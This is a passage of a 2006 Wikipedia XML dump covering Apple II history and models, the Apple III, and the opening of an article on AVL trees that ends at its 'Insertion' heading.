The approach taken in the Disk II controller was typical of Woz's design sensibility. The Apple II is full of clever engineering tricks to save hardware and reduce costs. For example, by interleaving the video generation circuitry's memory access with the CPU's, a feature unique to the 6502, Woz eliminated the need for a separate refresh circuit for the DRAM chips. Rather than using a complex analog-to-digital circuit to read the outputs of the game controller, Woz used a simple timer circuit whose period was proportional to the resistance of the game controller, then used a software loop to measure the timer. The text and graphics screens had a frankly Byzantine arrangement (the scanlines were not stored in sequential areas of memory) which reputedly was due to Woz's realization that doing it that way would save a chip; it was less expensive to have software calculate or look up the address of the needed scanline than to include the extra hardware. 

The epitome of the Apple II design philosophy was the Apple II sound circuitry. Rather than having a dedicated sound-synthesis chip, the Apple II had a toggle circuit that could only emit a click through a built-in speaker; all other sounds (including two, three, and eventually four-voice music and playback of audio samples and speech synthesis) were generated entirely by clever software that clicked the speaker at just the right times. Not for nearly a decade would an Apple II be released with a dedicated sound chip. Similar techniques were used for cassette storage; the cassette output worked the same as the speaker, and the input was a simple zero-crossing detector that served as a very crude (1-bit) audio digitizer. Routines in the ROM were used to encode and decode data in [[frequency shift keying]] for the cassette. These brilliant quirks served as a gauntlet that drew scores of equally quirky and brilliant programmers to the platform, and these became the Apple II's lifeblood. 

Wozniak's open design and the Apple II's multiple expansion slots permitted a wide variety of third-party devices to expand the capabilities of the machine.  Serial controllers, improved display controllers, memory boards, hard disks, and networking components were available for this system in its day.  There were also emulator cards, such as the Z80 card which permitted the Apple to switch to the [[Zilog Z80|Z80]] processor and run a multitude of programs developed under the [[CPM operating system|CP/M operating system]], including the [[DBASE|dBase II]] database and the [[WordStar]] word processor. There was also a third-party [[Motorola 6809|6809]] card with which one could run [[OS-9]] Level One. The [[Mockingboard]] sound card greatly improved the audio capabilities of the Apple with simple music synthesis and text to speech.  Eventually ''accelerator boards'' were  created to double or quadruple the computer's speed.

==The family grows==
===Apple II Plus===
[[Image:Apple_II_Plus.jpg|thumb|right|375px|The Apple II Plus with a pair of Disk II drives. The Disk II was the first microcomputer floppy drive.]] 
The Apple II was eventually superseded by the '''Apple II Plus''', which included the [[Applesoft BASIC]] programming language in ROM. This Microsoft-authored dialect of BASIC, which was previously available as an upgrade, supported floating-point arithmetic (albeit at a slower speed than Steve Wozniak's Integer BASIC) and became the standard BASIC dialect on the Apple. 

The Apple II Plus had a total of 48 kilobytes of RAM, expandable to 64 KB by means of the ''language card,'' an expansion card that could be installed in the computer's slot 0. The Apple's 6502 microprocessor could support a maximum of 64 KB of memory, and a machine with 48 KB RAM reached this limit because of the additional 16 KB of read-only memory and I/O addresses. For this reason, the extra RAM in the language card was bank-switched over the machine's built-in ROM, allowing code loaded into the additional memory to be used as if it actually were ROM. Users could thus load Integer BASIC into the language card from disk and switch between the Integer and Applesoft dialects of BASIC with DOS 3.3's INT and FP commands just as if they had the BASIC ROM expansion card. The language card was also required to use the [[UCSD Pascal]] and [[FORTRAN|FORTRAN 77]] compilers, which were released by Apple at about the same time. These ran under a non-DOS operating system called the UCSD P-System, which had its own disk format and included a &quot;virtual machine&quot; that allowed it to run on many different types of hardware.

Like the Apple II, the Apple II Plus had no [[lowercase]] functionality. All letter keys on the keyboard would type uppercase letters, and there were no lowercase letters in the text-mode [[font]] stored in the computer's [[Read-Only Memory|ROM]]. (Note the lack of a [[caps lock]] key on the keyboard.) To display lowercase letters, some applications would run in the slower ''hi-res graphics mode'' and use a custom font, rather than running in the fast ''text mode'' using the font in ROM. Alternatively, users could install a custom ROM chip that contained lowercase letters in the font; or purchase an ''80-column card'' that enabled a text mode that could display 80-column, upper- and lower-case text. For lowercase input, since it was not possible to detect whether the keyboard's Shift keys were in use, a modification called the &quot;one-wire shift key mod&quot; wired the Shift keys to one of the pins on the motherboard's joystick connector. Compatible applications, including nearly all [[word processor]]s, could then detect whether the Shift key was being pressed. This modification, however, involved [[soldering]], and was therefore only popular among hobbyists.

===Apple IIe===
[[Image:290px-Apple IIe middle age.jpg|thumb|300px|right|A typical Apple IIe system. Seen here with DuoDisk 5&amp;frac14;&quot; floppy drive unit that sat sandwiched between case and monitor.]] 
The Apple II Plus was followed in 1983 by the '''[[Apple IIe]]''', a cost-reduced yet more powerful machine that used newer chips to reduce the component count and add new features, such as the display of upper and lowercase letters and a standard 64 KB of RAM. The IIe RAM was configured as if it were a 48K Apple II Plus with a language card; the machine had no slot 0, but instead had an auxiliary slot that for all practical purposes took the place of slot 3. The auxiliary slot could accept a 1K memory card to enable the 80-column display (the card contained only RAM; the hardware and firmware for the 80-column display was built into the Apple IIe). An &quot;extended 80-column card&quot; with more memory expanded the machine's RAM to 128 KB. As with the language card, the memory in the 80-column card was bank-switched over the machine's main RAM; this made the memory better suited to data storage than to running software, and in fact the [[ProDOS]] operating system, which was introduced with the Apple IIe, would automatically configure this memory as a [[RAM disk]] upon booting. Third-party aux-slot memory cards later allowed expansion up to 1 MB. The extended 80-column card also enabled two new graphics modes, Double Hi-Res and Double Lo-Res, which doubled the horizontal resolution and, in the case of Double Hi-Res, doubled the number of available colors as well over the standard hi-res mode.

Introduced with the IIe was the DuoDisk, essentially two Disk II 5&amp;frac14;&quot; drives in a single enclosure designed to stack between the computer and the monitor, and a new controller card to run it. This controller was functionally identical to the original Disk II controller but used a different connector, allowing a single cable to control both drives in the DuoDisk.

The IIe was the most popular Apple II ever built and was widely considered the &quot;workhorse&quot; of the line. It also has the distinction of being the longest-lived Apple computer of all time -- it was manufactured and sold with only minor changes for nearly eleven years. In that time, following the original, two important variations came to pass known as the [[Apple IIe#The Enhanced IIe|Enhanced IIe]] (four new replacement chips to give it the same features as the later model [[Apple IIc|Apple IIc]]) and [[Apple IIe#The Platinum IIe| Platinum IIe]] (a modernized new look for the case color to match other Apple products of the era, along with the addition of a built-in numeric keypad).

Two and a half years before the Apple IIe, Apple had produced and marketed a computer called the ''[[Apple III]]'' for business users. This product was not a success, and Steve Wozniak has been quoted as saying that the Apple III had a 100% failure rate -- every single machine manufactured had some kind of fault. Many of its features were carried over in the design of the Apple IIe, though, including the ProDOS operating system, which was based on Apple III SOS.

===Apple IIc===
[[Image:Apple_IIc.jpg|thumb|right|300px|The Apple IIc was Apple's first compact and portable computer. Pictured here with a very early and extremely rare [[LCD]] display.]] 
Apple released the '''[[Apple IIc]]''' in April 1984, billing it as a portable Apple II. (By portable it was meant that the computer could be easily carried from place to place; lacking battery power and a built-in display, it was not a true portable as the term is used today.) The IIc even sported a carrying handle that folded down to prop the machine up in a typing position. It was the first of three Apple II models to be made in the [[Snow White design language]] -- and the only one that was actually white. (The other machines, the Apple II&lt;small&gt;GS&lt;/small&gt; and the IIc Plus, were actually light gray, or as Apple had it, &quot;platinum.&quot;)

The Apple IIc was the first Apple II to use the updated [[65C02 Microprocessor|65C02]] processor, and featured a built-in floppy drive and 128K RAM, with a built-in disk controller that could control external drives, composite video (NTSC or PAL), serial interfaces for modem and printer, and a joystick/mouse port. Unlike previous Apple II models, the IIc had no internal expansion slots at all, this being the means by which its compact size was attained. Third parties did eventually figure out how to wedge up to 1 MB of additional memory and a real-time clock into the machine, and a later revision of the motherboard provided an expansion slot that could accept an Apple memory card bearing up to 1 megabyte of RAM. The disk port, originally intended for a second 5&amp;frac14;&quot; floppy drive, eventually was able to interface to 3&amp;frac12;&quot; disk drives and (via third parties) even hard disks.

To play up the portability, two different monochrome [[LCD]] displays were sold for use with the IIc's video expansion port, although both were short-lived due to high cost and poor legibility. (A IIc with the smaller of these displays appeared briefly in the film [[2010: The Year We Make Contact|2010]].) The IIc had an external power supply that converted AC power to 12V DC, allowing third parties to offer battery packs and automobile power adapters that connected in place of the supplied AC adapter.

The Apple IIc was the first microcomputer to include support for the [[Dvorak Simplified Keyboard]], which was activated using a switch above the keyboard. This feature was also later found in late-model Apple IIe computers (though the switch was inside the computer) and in the Apple IIgs (accessible via the built-in control panel).

===Apple II&lt;small&gt;GS&lt;/small&gt;===
[[image:Apple_IIGS.jpg|right|frame|px300|The Apple II&lt;small&gt;GS&lt;/small&gt;, the most powerful Apple II, featuring a true 16-bit CPU, 4096 colors, Ensoniq synthesizer, a Mac-like GUI -- and a mouse]]
The next member of the line was the '''[[Apple IIgs|Apple II&lt;small&gt;GS&lt;/small&gt;]]''' computer, released in 1986. A radical departure from the existing Apple II line, the II&lt;small&gt;GS&lt;/small&gt; featured a true [[16-bit]] microprocessor, the [[65816 Microprocessor|65C816]], operating at 2.8 MHz with 24-bit addressing, allowing expansion up to 8 MB of RAM without the bank-switching hassles of the earlier machines. It introduced two completely new graphic modes sporting higher resolutions and a palette of 4,096 colors; however, only 4, 16, or 256 colors could be used at a time, depending on the mode and other restrictions. 

In a welcome departure from earlier Apple II graphics modes, the new modes laid out the scanlines sequentially in memory. However, programmers in search of a graphics challenge could always turn to 3200-color mode, which involved precisely swapping out the color palettes as the monitor's electron beam traced the screen, allowing up to sixteen different colors for each of 200 scanlines. This technique did not leave many CPU cycles available for other processing, so this &quot;mode&quot; was best suited to displaying static images.

The Apple II&lt;small&gt;GS&lt;/small&gt; stood out from any previous (or future) Apple II models, evolving and advancing the platform into the next generation of computing while still maintaining near-complete backward compatibility. The secret of the Apple II&lt;small&gt;GS&lt;/small&gt;'s compatibility was a single chip called the Mega II, which contained the functional equivalent of an entire Apple IIe computer (sans processor), which, combined with the flawless 65C02 emulation mode of the 65C816 processor, provided full support for legacy software.

The computer also included a 32-voice [[Ensoniq]] [[wavetable]] music synthesizer with 64K dedicated RAM, 256K of standard RAM, built-in peripheral ports (switchable between IIe-style card slots and IIc-style onboard controllers for disk drives, mouse, RGB video, and serial devices), built-in [[AppleTalk]] networking, and a ROM toolbox that supported a graphical user interface derived from the Macintosh toolbox. The computer could run existing 8-bit Apple II software (including software written for the very first Apple II in Integer BASIC), but also supported 16-bit software running under a new OS first called ProDOS 16 and later called GS/OS. The new OS eventually included a Finder that could be used for managing disks and files and opening documents and applications, along with desk accessories -- just like the Macintosh. The 16-bit operating system would automatically switch to the text display and downshift to 8-bit mode to run legacy software, while offering a consistent, Macintosh-like graphical interface for native 16-bit applications. Eventually the II&lt;small&gt;GS&lt;/small&gt; gained the ability to read and write Macintosh disks and, through third-party software, even multitasking (both cooperative and preemptive, the latter in the form of a Unix-type shell), outline TrueType font support, and in one case, even real-time 3D gaming using texture mapping.

The first 50,000 Apple II&lt;small&gt;GS&lt;/small&gt; computers came with Steve Wozniak's &quot;Woz&quot; signature silkscreened on the front and were referred to as the &quot;Woz Limited Edition.&quot; These machines are not functionally different from machines from the same time period without the signature.

The Apple II&lt;small&gt;GS&lt;/small&gt; with 1 Megabyte of built-in RAM (better known as the &quot;ROM 3&quot;), was introduced in late 1989.  Along with the additional built-in memory, the ROM 3 contained improvements to the firmware and cleaner sound output. Connector locations that had enabled the previous II&lt;small&gt;GS&lt;/small&gt; motherboard to be installed in an Apple IIe case were eliminated to save costs. Most users considered the ROM 3 a minor maintenance update rather than a new model.

===Apple IIc Plus===
[[Image:Apple_IIc_Plus.jpg|thumb|right|The Apple IIc Plus, an 8-bit redux of the original portable but with faster CPU, 3&amp;frac12;&quot; floppy and built-in power supply. It was the last of the Apple II line.]]
The final Apple II model was the '''[[Apple IIc Plus]]''' introduced in 1988. It was the same size and shape as the IIc that came before it, but the 5&amp;frac14;&quot; floppy drive had been replaced with a 3&amp;frac12;&quot; drive, the power supply was moved inside (gone was the IIc's &quot;brick on a leash&quot; power supply), and the processor was a fast 4MHz 65C02 processor that actually ran 8-bit Apple II software faster than the II&lt;small&gt;GS&lt;/small&gt;. (Third-party accelerators for other models could, however, go as fast as 10MHz, and II&lt;small&gt;GS&lt;/small&gt; accelerators would eventually reach 16MHz.) The IIc Plus's accelerator was derived from a design licensed from Zip Technologies, a third-party maker of accelerators for the Apple II, though Apple used separate chips instead of combining the processor, cache, and supporting logic on a multi-chip module as did Zip. Like later models of the original Apple IIc, the IIc Plus included a memory expansion slot that would accept a daughtercard carrying up to a megabyte of RAM. The IIc Plus also featured a new keyboard layout that matched the Platinum IIe and II&lt;small&gt;GS&lt;/small&gt;. 

Many perceived the IIc Plus as Apple's attempt to compete with the Laser 128EX/2, a popular third party Apple-compatible machine that also had an accelerated processor and a built-in 3&amp;frac12;&quot; drive. There were few other rational explanations for Apple expending resources on the continued development of a new 8-bit Apple II model rather than furthering the 16-bit Apple II&lt;small&gt;GS&lt;/small&gt;. However, with its 3&amp;frac12;&quot; drive and speedy processor, it was an excellent, compact machine for running the AppleWorks integrated productivity package, especially with the 1 megabyte memory upgrade.

===Apple IIe Card===
Although not an extension of the Apple II line, in 1990 the '''[[Apple IIe Card]]''', an expansion card for the [[Macintosh LC|LC]] line of [[Apple Macintosh|Macintosh]] computers, was released.  Essentially a miniaturized Apple IIe computer on a card (utilizing the Mega II chip from the Apple II&lt;small&gt;GS&lt;/small&gt;), it allowed the Macintosh to run 8-bit Apple IIe software through hardware emulation (although video was emulated in software and was slower at times than a IIe). Many of the LC's built-in Macintosh peripherals could be &quot;borrowed&quot; by the card when in Apple II mode (i.e. extra RAM, 3&amp;frac12;&quot; floppy, AppleTalk networking, hard disk). The IIe card could not, however, run software intended for the 16-bit Apple II&lt;small&gt;GS&lt;/small&gt;. The Macintosh LC with IIe Card was intended to replace the Apple II&lt;small&gt;GS&lt;/small&gt; in schools and homes and was presumably the reason a new model Apple II&lt;small&gt;GS&lt;/small&gt; that was confirmed by insiders to be in development at one point was cancelled and never released.

===The Final Years===
Apple's Macintosh product line finally eclipsed the Apple II in the early '90s. Even after the introduction of the Macintosh, the Apple II had remained Apple's primary source of revenue for years: the Apple II and its associated community of third-party developers and retailers was once a billion-dollar-a-year industry. The computer was the first to attract a loyal user community, and many outspoken Apple II fans were bitter that the company had invested its Apple II profits into the Macintosh rather than using them to further the Apple II series. 

Despite a lack of advertising and little corporate support, Apple continued to sell the II&lt;small&gt;GS&lt;/small&gt; through the end of 1992. Apple brought an era to a close when the IIe was removed from the product line on [[October 15]], [[1993]].

==Clones==
[[Image:Taiwanese Apple II clone Cosmo.jpg|thumb|The Jiama (嘉馬) SPS-109, a [[Taiwan]]ese clone of the Apple II, looks almost identical to the Apple II and II+, including an identical [[computer case|case]], color and [[computer keyboard|keyboard]] layout.  The only noticeable physical difference is the label above the keyboard.]]
Like the IBM PC, the Apple II was frequently cloned, both in the [[United States]] and abroad. According to some sources (see below), more than 190 different models of Apple II clones were manufactured. Many of these had &quot;fruit&quot; names (e.g. &quot;Pineapple&quot;) to indicate to the initiated that they were Apple II clones. For many years the most widely-used microcomputer in the [[Soviet Bloc]] was the [[Agat_computer|Agat]], an over-sized Russian Apple II clone with a [[Cyrillic]] character set.

An [[Australia|Australian]]-produced clone of the Apple II was the [[Medfly_computer|Medfly]], named after the [[Mediterranean fruit fly]] that attacks apples. The Medfly computer featured a faster processor, more memory, detached keyboard, lower and upper case characters and a built-in disk controller.

The Ace clones from [[Franklin Computer Corporation]] are the best known and had the most lasting impact, as Franklin copied Apple's ROMs and software and freely admitted to doing so. Franklin's argument: a computer's ROM was simply a pattern of switches locked into a fixed position, and one cannot copyright a pattern of switches. Apple fought Franklin in court for about five years to get its clones off the market, and was ultimately successful when a court ruled that software stored in ROM was in fact copyrightable. Franklin later released non-infringing but less-compatible clones; these could run ProDOS and AppleWorks and had an Applesoft-like BASIC, but compatibility with other software was hit-or-miss.

Apple also challenged [[VTech]]'s [[Laser 128]], an enhanced clone of the Apple IIc first released in 1984, in court. This suit proved less fruitful for Apple, because VTech had [[reverse-engineer]]ed the Monitor ROM rather than copying it and had licensed Applesoft BASIC from its creator, [[Microsoft]]. Incredibly, Apple had neglected to obtain exclusive rights to the Applesoft dialect of BASIC from Microsoft; just as incredibly, VTech was the first cloner to bother licensing it. The Laser 128 proved popular and remained on the market for many years, both in its original form and in enhanced versions that ran faster than 1 MHz. Although it wasn't 100% compatible with the Apple II, it was close, and its popularity ensured that most major developers tested their software on a Laser as well on as genuine Apple machines. Because it was frequently sold via mail order and mass-market retailers such as [[Sears]], the Laser 128 may have cut into the sales of low-cost competitors such as [[Commodore Business Machines]] as much as it did Apple's.

While the first Apple II clones were generally exact copies of their Apple counterparts that competed mainly on price, many clones had extra capabilities too. A Franklin model, the Ace 1000, sported a numeric keypad and lower-case long before these features were added to the Apple II line. The Laser 128 series is sometimes credited with spurring Apple to release the Apple IIc Plus; the built-in 3&amp;frac12;&quot; drive and accelerated processor were features Laser had pioneered. The Laser 128 also had a IIe-style expansion slot on the side that could be used to add peripheral cards.

[[Böwe Bell &amp; Howell|Bell &amp; Howell]], an audiovisual equipment manufacturer whose products (particularly film projectors) were ubiquitous in American schools, offered what appeared at first glance to be an Apple II Plus clone in a distinctive black plastic case. However, these were in fact real Apple II Pluses manufactured by Apple for B&amp;H for a brief period of time. Many schools had a few of these &quot;black Apples&quot; in their labs.

==General==
===Apple II media===
Originally the Apple II used audio cassette tapes for program and data storage. Apple and many third-party developers made software available on tape until the introduction of the Disk II.

The Disk II floppy drive used 5&amp;frac14;-inch [[floppy disk]]s. The first [[disk operating system]]s for the Apple II were [[Apple DOS|DOS 3.1]] and DOS 3.2, which stored 113.75 [[Kibibyte|KiB]] on each disk, organized into thirty-five tracks of thirteen 256-byte sectors each.  After about two years, DOS 3.3 was introduced, storing 140 KiB thanks to a minor hardware change on the disk controller that allowed it to store 16 sectors per track. (This upgrade was user-installable on older controllers.) After the release of DOS 3.3, the user community discontinued use of DOS 3.2 except for running legacy software. Programs that required DOS 3.2 were fairly rare, however, as DOS 3.3 was not a major architectural change aside from the number of sectors per track. A program called MUFFIN was provided with DOS 3.3 to allow users to copy files from DOS 3.2 disks to DOS 3.3 disks.

On a DOS 3.x disk, tracks 0, 1, and most of track 2 were reserved to store the operating system. A short ROM program on the disk controller had the ability to seek to track zero -- which it did without regard for the read/write head's current position, resulting in the characteristic &quot;chattering&quot; sound of a Disk II boot, which was the read/write head hitting the rubber stop block at the end of the rail -- and read and execute code from sector 0.  The disk's directory was stored on track 17, smack in the middle of the 35-track disks, in order to reduce the average [[seek time]] to the frequently-used directory track. The directory was fixed in size and could hold a maximum of 105 files. Subdirectories were not supported.

Most game publishers did not include DOS on their floppy disks, since they needed the memory it occupied more than its capabilities; instead, they often wrote their own boot loaders and read-only file systems. This also served to discourage &quot;crackers&quot; from snooping around in the game's copy-protection code, since the data on the disk wasn't in files that could be accessed easily.

Some third-party manufacturers produced floppy drives that could write 40 tracks to most 5&amp;frac14;-inch disks, yielding 160 KiB of storage per disk, but the format did not catch on widely, and no known software was published on 40-track media. Most drives, even Disk IIs, could write 36 tracks; simple modifications to DOS for formatting the extra track were common.

Later, Apple IIs were able to use 3&amp;frac12;-inch disks with a total capacity of 800 KB and hard disks. DOS 3.3 did not support these drives natively; third-party software was required, and disks larger than about 400 KB had to be split up into multiple &quot;virtual disk volumes.&quot; [[ProDOS]], a 1983 descendent of the Apple ///'s SOS, became the Apple II operating system of choice for users with these larger disks thanks to its native support of volumes up to 32 [[Megabyte|MB]] in size (and the fact that AppleWorks required it).

===Renditions of the &quot;II&quot; name===
The &quot;II&quot; portion of the Apple II name was rendered in a variety of creative ways using punctuation symbols on the front lids of the computers, and most printed material followed this lead. For example, the II and the &quot;unenhanced&quot; IIe was most commonly written &lt;nowiki&gt;][ and ][e,&lt;/nowiki&gt; and the IIc and enhanced and platinum IIe models were written as //c and //e. Finally, the IIgs and IIc Plus were rendered in the forms used in this article. To match the silkscreening on the front of the computer, [[small caps]] were often used for the &quot;gs&quot; in &quot;IIgs&quot; if available, otherwise lowercase was usually used for the &quot;gs&quot;.

===Life after death===
[[Image:Apple2_BSOD.jpg|thumb|250px|&quot;BSOD&quot; XScreensaver module showing a crashed Apple II]]
[[Image:Apple2_Screensaver.jpg|thumb|250px|&quot;Apple2&quot; XScreensaver module typing a BASIC program]]

Today, [[emulator|emulators]] for various Apple II models are available to run Apple II software on the Macintosh, Linux, Microsoft Windows, and other operating systems. Numerous [[disk image]]s of Apple II software are available free over the [[Internet]] for use with these emulators. However, emulators cannot run software on copy-protected media unless somebody &quot;cracks&quot; (removes the copy restrictions from) the software. The Lost Classics Project had as its goal convincing copyright holders of classic Apple II software to officially allow unrestricted free distribution of their software and has &quot;freed&quot; a number of programs.

One unusual homage to the Apple II is an [[XScreenSaver]] &quot;hack&quot; named ''bsod''.  The bsod [[screensaver]] duplicates the appearance of [[computer crash]] screens for various operating systems (including the Windows [[Blue Screen of Death]], after which it is named).  In the case of the Apple II, the screensaver actually emulates the [[cathode ray tube|CRT]] display typically used with the computer, so the screen will appear to twitch as text blocks turn on and off, a common quirk of analog NTSC displays. Another module called &quot;Apple2&quot; shows a working Apple II being used to type and run three different [[BASIC programming language|BASIC]] programs, also with glitch-complete CRT emulation and even typos (or &quot;syntax errors&quot;).

===Industry impact===
It is difficult to estimate the enormous impact that the Apple II family of computers has had on world business and, especially, the technology industry. The Apple II was the first computer many people ever saw, and it was affordable enough for middle-class families. Its popularity bootstrapped the entire [[computer game]] and the [[educational software]] markets and began a boom in the [[word processor]] and [[computer printer]] markets. The first microcomputer &quot;[[killer app]]&quot; for business was ''[[VisiCalc]]'', the first [[spreadsheet]], and it ran first on the Apple II; many businesses bought Apple IIs just to run VisiCalc. Apple's success in the home market inspired competitive [[home computer]]s such as the [[Commodore VIC-20|VIC-20]] (1980) and [[Commodore 64]] (1982), which through their significantly lower price point introduced computers to several million more home users -- grabbing some of Apple's market share in the process.

The success of the Apple II in business spurred [[IBM]] to create the [[IBM PC]], which was then purchased by middle managers in all lines of business in order to run [[spreadsheet]] and [[word processor]] software, at first ported from Apple II versions; later, whole new application software dynasties would be founded on the PC. The popularity of these PCs and their [[IBM PC compatible|clones]] then transformed business again with [[local area network|LAN]] applications such as [[e-mail]] and later Internet applications such as [[Usenet]] and the [[World Wide Web|WWW]].

One valuable lesson from the Apple II was the importance of an open architecture to the success of a computer platform. The first Apple IIs shipped with a schematic of the entire computer's circuitry and a complete source listing of the &quot;Monitor&quot; ROM software that served as the machine's BIOS, along with a detailed technical manual. The Apple II's slots, allowing any peripheral card to take control of the bus, enabled an independent industry of card manufacturers who together created a flood of hardware products that let users build systems that were far more powerful and useful (at a lower cost) than any competing system, most of which were not nearly as expandable and were universally proprietary. Even the game port was unusually powerful and could be used for digital and analog input and output; one hacker used it to drive a [[LaserWriter]] printer.

Apple decided not to create an open architecture with the initial [[Apple Macintosh|Macintosh]] models, and this is widely seen as having hobbled its success. Meanwhile, IBM had created its [[IBM PC]] with an open architecture, which resulted in the near-universal adoption of the platform but led to a [[Pyrrhic victory]] for IBM itself. In the end, its off-the-shelf, open architecture allowed [[IBM PC compatible|clones]] to be manufactured by startup competitors such as [[Compaq]], [[Dell, Inc.|Dell]], [[Gateway Computers|Gateway]], and countless others, leading eventually to IBM's abandonment of the personal computer business in 2005.

==See also==
* [[Apple III]]
* [[Apple IIe]]
* [[Apple IIc]]
* [[Apple IIgs|Apple II&lt;small&gt;GS&lt;/small&gt;]]
* [[Apple IIc Plus]]
* [[Apple Computer]]
* [[Steve Wozniak]]
* [[List of Apple II application software]]
* [[List of Apple II games]]
* [[Publications/Periodicals devoted to the Apple II]]
* [[List of BBS software]] &amp;ndash; For the Apple II and other machines

==References==
*[[Steve Wozniak|Wozniak, Steve]]. &quot;System Description: The Apple II&quot;. ''[[BYTE]]''. May 1977. [http://oldcomputers.net/byteappleII.html]

==External links==
* [http://www.apple2history.org/ Steven Weyhrich's Apple II History]
* [http://dmoz.org/Computers/Systems/Apple/Apple_II/ Dmoz.org - Apple II]
* [http://www.mandrake.demon.co.uk/Apple/8bit.html Apple II expansion cards]
* [http://Applefritter.com/ Applefritter has some Apple I information]
* [http://www.8bit-museum.de/?page=docs/apple3b.htm PCB pictures of the Apple II]
* [http://www.apple2clones.com/ Apple2clones has information on Apple II clones]
* [http://www.gse-reactive.com/ GSE-Reactive - information about rare Apple II hardware]

[[Category:Apple hardware]]
[[Category:Apple II family| ]]
[[Category:Home computers]]
[[Category:Expandable PCs]]

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[[pl:Apple II]]
[[pt:Apple II]]
[[sk:Apple II]]
[[sv:Apple II]]</text>
    </revision>
  </page>
  <page>
    <title>Apple III</title>
    <id>2117</id>
    <revision>
      <id>40359426</id>
      <timestamp>2006-02-20T01:18:37Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">&lt;div&gt;[[image:Apple3.jpg|thumb|right|325px|The Apple III, an early business machine predating the IBM PC]]&lt;/div&gt;

The '''Apple III''', or '''Apple ///''' as it was sometimes styled, was the first completely new computer designed by [[Apple Computer]], Inc. Its predecessor, the better-known [[Apple II]], was designed by Apple co-founder [[Steve Wozniak]] prior to the company's incorporation in [[1976]]. Design work on the Apple III started in late [[1978]] under the guidance of Dr. [[Wendell Sander]]. It had the internal code name of &quot;Sara&quot;, named after Sander's daughter. The Apple III was introduced in May [[1980]].

The Apple III was designed to be a business computer. It featured an advanced [[operating system]] called [[SOS (operating system)|SOS]] (the '''S'''ophisticated '''O'''perating '''S'''ystem) and a new [[BASIC programming language|BASIC]] [[interpreter (computing)|interpreter]], &quot;Apple /// Business BASIC&quot; (an implementation of UCSD [[Pascal programming language|Pascal]] was also offered for more structured programming). Other features included an 80-column display with upper and lowercase characters, a numeric keypad, support for a real-time clock, 6-bit (DAC) audio, 16-color graphics, hierarchical level file support, and the ability to emulate a 48[[kilobyte|KB]] Apple II+. There was a built-in 140K 5.25&quot; [[floppy disk]] drive, with up to three additional external &quot;Disk ///&quot; floppy disk drives and a [[Apple ProFile|ProFile]] 5 [[megabyte]] [[hard disk]] drive available as options. Microsoft developed an add-in &quot;Softcard&quot; that allowed the Apple III to run [[CP/M]], which was actually sold as an Apple product.

The Apple III was powered by a 1.8 [[megahertz|MHz]] [[MOS Technology 6502|6502B]] [[8-bit]] [[central processing unit|CPU]] and, like some of the more advanced machines in the Apple II family, used [[bank switching]] techniques to address up to 256K of memory (512K with a third-party upgrade).

For a variety of reasons, the Apple III was a commercial failure. With a starting price of about $3,500 US, it was more expensive than many of the CP/M-based business computers that were available at the time. The Apple III's software library was very limited, and whilst sold as an Apple II compatible, the emulation that made this possible was intentionally hobbled, thus it could not make use of the advanced III features (specifically 64K RAM or higher, required by a large number of Apple II software titles based on PASCAL) which limited its usefulness. Far more importantly, the machine was plagued by numerous hardware and software [[computer bug|bug]]s. The real time clock, the first in an Apple computer, would fail after prolonged use. At Steve Jobs' insistence, the machine did not include a cooling fan—the metal case was supposed to act as a [[heat sink]], despite not being designed for this purpose. Furthermore, the case itself was too small to properly accommodate the III's internals, and Apple skimped on gold-plating the electrical contacts. The result was an unmitigated disaster. The system would overheat so severly that the motherboard would warp in its tight confines, and thermal expansion would actually push the [[dual in-line package|DIP]] chips out of their sockets. One popular anecdote about the Apple III is probably better remembered than the machine itself: in a technical bulletin, customers were actually instructed to lift the machine three inches (76 mm) and drop it in order to reseat the chips.

An improved version, the '''Apple III Plus''', was introduced in December [[1983]]. The III Plus fixed the hardware problems of the original III, included 256KB RAM, built-in clock, video interlacing, and featured a keyboard in the style of the [[Apple IIe]]. However, not even the new &quot;allow me to reintroduce myself&quot; campaign could salvage the III's reputation. Possibly more relevant in the long run was the fact that the III was essentially an enhanced Apple II—newest heir to a line of [[8-bit]] machines dating back to [[1976]]. The year after the III was originally released, [[IBM]] unveiled its [[IBM PC|PC]]—a completely new [[16-bit]] design soon available in a wide range of inexpensive clones. The business market moved rapidly towards the IBM machines and, in September 1985, the Apple III line was discontinued, having sold only about 65,000 systems.

Some of the features and codebase of the Sophisticated Operating System made their way into the Apple II's [[ProDOS]] and [[GS/OS]] operating systems, as well as those of the [[Apple Lisa|Lisa]] and [[Apple Macintosh|Macintosh]].

Although the Apple III shares much of the same technology and traits found in the Apple II series, it is not part of the Apple II family line. Not being a direct Apple II compatible, a special boot disk was required to put it into II emulation mode, much like the [[Apple Lisa]] in how it emulated the Macintosh. For this and other reasons, the Apple III can be considered a cousin of the Apple II rather than a member of its family line.

==External links==
*[http://www.wap.org/a3 Washington Apple Pi Apple III Resources]

[[Category:Failed Apple initiatives]]
[[Category:Apple hardware]]
[[Category:Apple III family|Apple III family]]

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[[pl:Apple III]]
[[sk:Apple III]]</text>
    </revision>
  </page>
  <page>
    <title>AVL tree</title>
    <id>2118</id>
    <revision>
      <id>41287844</id>
      <timestamp>2006-02-26T08:12:09Z</timestamp>
      <contributor>
        <ip>65.11.208.185</ip>
      </contributor>
      <comment>/* Lookup */</comment>
      <text xml:space="preserve">[[Image:Non-AVLtree.png|thumb|right|251px|An example of a '''non-AVL''' tree]]

In [[computer science]], an '''AVL tree''' is the first-invented [[self-balancing binary search tree]]. In an AVL tree the heights of the two [[child node|child]] subtrees of any node differ by at most one, therefore it is also known as [[height-balanced tree|height-balanced]]. Lookup, insertion, and deletion are all [[big O notation|O]](log ''n'') in both the average and worst cases. Additions and deletions may require the tree to be rebalanced by one or more [[tree rotation]]s.

The AVL tree is named after its two inventors, [[Georgii Adelson-Velsky|G.M. Adelson-Velsky]] and [[Yevgeniy Landis|E.M. Landis]], who published it in their [[1962]] paper &quot;An algorithm for the organization of information.&quot;

The '''balance factor''' of a node is the height of its right subtree minus the height of its left subtree. A node with balance factor 1, 0, or -1 is considered balanced. A node with any other balance factor is considered unbalanced and requires rebalancing the tree. The balance factor is either stored directly at each node or computed from the heights of the subtrees. 

[[Image:AVLtree.png|thumb|right|251px|The same tree after being height-balanced]]


==Operations==
The basic operations of an AVL tree generally involve carrying out the same algorithms as would be carried out on an unbalanced [[binary search tree]], but preceded or followed by one or more of the so-called &quot;AVL rotations.&quot;

===Insertion===
